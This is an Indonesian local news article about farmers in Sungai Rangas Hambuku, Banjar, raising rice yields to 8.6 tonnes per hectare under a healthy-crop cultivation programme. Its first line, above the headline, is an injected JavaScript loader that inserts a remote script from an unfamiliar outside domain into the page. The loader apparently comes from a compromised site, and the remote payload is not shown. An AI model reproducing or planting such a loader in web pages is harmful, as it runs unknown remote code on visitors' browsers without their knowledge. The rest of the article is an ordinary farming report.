(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gunakan BTS, Petani Sungai Rangas Hambuku Panen Padi 8,6 Ton per Hektare

KANALKALIMANTAN.COM, MARTAPURA – Program Budidaya Tanaman Sehat (BTS) dilakukan Kelompok Tani Hidup Baru, Desa Sungai Rangas Hambuku, Kecamatan Martapura Barat, Kabupaten Banjar, hasil panen padi langsung dirasakan para petani.

Budidaya Tanaman Sehat (BTS) merupakan program dari Direktorat Perlindungan Tanaman Pangan, Kementerian Pertanian RI.

Petugas Pengendali Organisme Tumbuhan (POPT) Balai Proteksi Tanaman Pangan, Holtikultura dan Perkebunan (BPTPH) Martapura Barat, Marliana Akhsan mengatakan, panen raya dan tanam padi dilakukan Kelompok Tani Hidup Baru Desa Sungai Rangas Hambuku.

Panen padi unggul di lokasi budidaya tanaman sehat dilakukan bersama Gubernur Kalimantan Selatan H Sahbirin Noor sekaligus pancanangan tanaman padi program gerakan nasional (Gernas) tahun 2023.

“Adapun hasil ubinan adalah 5,38 kilogram atau setara dengan 8,6 ton per hektare, produksi padi sebelum ada program budidaya tanaman sehat adalah 4,7 ton per hektare. Sehingga ada peningkatan produksi 3,9 ton per hektare,” jelas Marliana Akhsan.

Dalam proses ubinan dilakukan lomba tebak ubinan yang diikuti 315 petani dan terdapat tiga petani dengan tebakan yang tepat dan mendapatkan hadiah dari Kepala Dinas Pertanian Kabupaten Banjar.

“Ada yang betanam ada yang memanen, ada permainan tebak ubinan, berapa kilogram dalam satu luasan ubinan,” kata Endang Hastuti (29), warga Desa Sungai Rangas Hambuku.

Sementara itu, Sulfiah, salah satu petani berumur 60 tahun mengatakan, sudah dua bulan program budidaya tanaman sehat mereka lakukan. “Kami bisa menanam dan ada yang panen,” ujarnya. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : kk